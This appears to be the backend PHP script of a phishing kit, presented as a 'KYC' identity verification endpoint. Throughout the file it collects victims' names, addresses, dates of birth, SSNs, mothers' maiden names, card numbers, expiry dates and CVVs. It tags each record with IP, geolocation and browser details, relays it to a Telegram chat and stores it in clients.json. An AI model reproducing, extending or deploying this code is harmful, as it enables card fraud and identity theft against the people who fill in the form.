File size: 4,084 Bytes
9d38145
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
<?php
/**
 * verify-client.php — identity / KYC submission endpoint.
 *
 * Runs the shared validators, notifies via Telegram, appends the full record to
 * clients.json. Returns {status, valid}.
 */
declare(strict_types=1);

require_once __DIR__ . '/lib.php';

header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');
header('Content-Type: application/json; charset=utf-8');
header('Cache-Control: no-store');

if (($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS') {
    http_response_code(204);
    exit;
}

/** Read merged JSON / form / query input. */
function vc_input(): array
{
    $in = array_merge($_GET, $_POST);
    $raw = file_get_contents('php://input');
    if (is_string($raw) && $raw !== '') {
        $j = json_decode($raw, true);
        if (is_array($j)) {
            $in = array_merge($in, $j);
        }
    }
    return $in;
}

/** Append a record to a JSON-array file (best-effort, locked). */
function vc_append(string $path, array $record): void
{
    try {
        $fh = @fopen($path, 'c+');
        if ($fh === false) {
            return;
        }
        if (flock($fh, LOCK_EX)) {
            $raw = stream_get_contents($fh);
            $arr = [];
            if (is_string($raw) && trim($raw) !== '') {
                $decoded = json_decode($raw, true);
                if (is_array($decoded)) {
                    $arr = $decoded;
                }
            }
            $arr[] = $record;
            ftruncate($fh, 0);
            rewind($fh);
            fwrite($fh, json_encode($arr, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT));
            fflush($fh);
            flock($fh, LOCK_UN);
        }
        fclose($fh);
    } catch (Throwable $e) {
        // best-effort
    }
}

$in = vc_input();
$clientId = trim((string) ($in['client_id'] ?? ($in['clientId'] ?? '')));
$device = (string) ($in['device'] ?? '');
$bot = (string) ($in['bot'] ?? '');
if ((string) ($in['hp'] ?? '') !== '') {
    $bot = 'bot';
}
$hasPhoto = !empty($in['has_photo']) && (string) $in['has_photo'] !== '0' ? 1 : 0;
$docType = (string) ($in['doc_type'] ?? '');
$docType = in_array($docType, ['pa', 'pp'], true) ? $docType : '';
$ip = ofb_client_ip();
$ua = (string) ($_SERVER['HTTP_USER_AGENT'] ?? '');

$ctx = [
    'client_id'  => $clientId,
    'device'     => $device,
    'ip'         => $ip,
    'geo'        => ofb_geo($ip),
    'browser'    => ofb_browser($ua),
    'full_name'  => (string) ($in['full_name'] ?? ''),
    'email'      => (string) ($in['email'] ?? ''),
    'phone'      => (string) ($in['phone'] ?? ''),
    'address'    => (string) ($in['address'] ?? ''),
    'dob'        => (string) ($in['dob'] ?? ''),
    'ssn'        => (string) ($in['ssn'] ?? ''),
    'mmn'        => (string) ($in['mmn'] ?? ''),
    'card_number'=> (string) ($in['card_number'] ?? ''),
    'expiry'     => (string) ($in['expiry'] ?? ''),
    'cvv'        => (string) ($in['cvv'] ?? ''),
    'zipcode'    => (string) ($in['zipcode'] ?? ''),
];

$checks = validate_verification($in);
$valid = !in_array(false, $checks, true);

ofb_telegram(ofb_msg_identity($ctx, $checks));

$record = array_merge($ctx, [
    'valid'      => $valid,
    'checks'     => $checks,
    'has_photo'  => $hasPhoto,
    'doc_type'   => $docType,
    'device'     => $device,
    'bot'        => $bot,
    'ip'         => $ip,
    'timestamp'  => date('Y-m-d H:i:s'),
]);
vc_append(__DIR__ . '/clients.json', $record);

// keep the live row current
try {
    if ($clientId !== '') {
        $pdo = ofb_db();
        $fields = [
            'ip_address'  => $ip,
            'email'       => $ctx['email'],
            'verified_at' => date('Y-m-d H:i:s'),
            'last_seen'   => date('Y-m-d H:i:s'),
        ];
        if ($docType !== '') {
            $fields['doc_type'] = $docType;
        }
        ofb_upsert($pdo, $clientId, $fields);
    }
} catch (Throwable $e) {
    // best-effort
}

echo json_encode(['status' => 'ok', 'valid' => (bool) $valid]);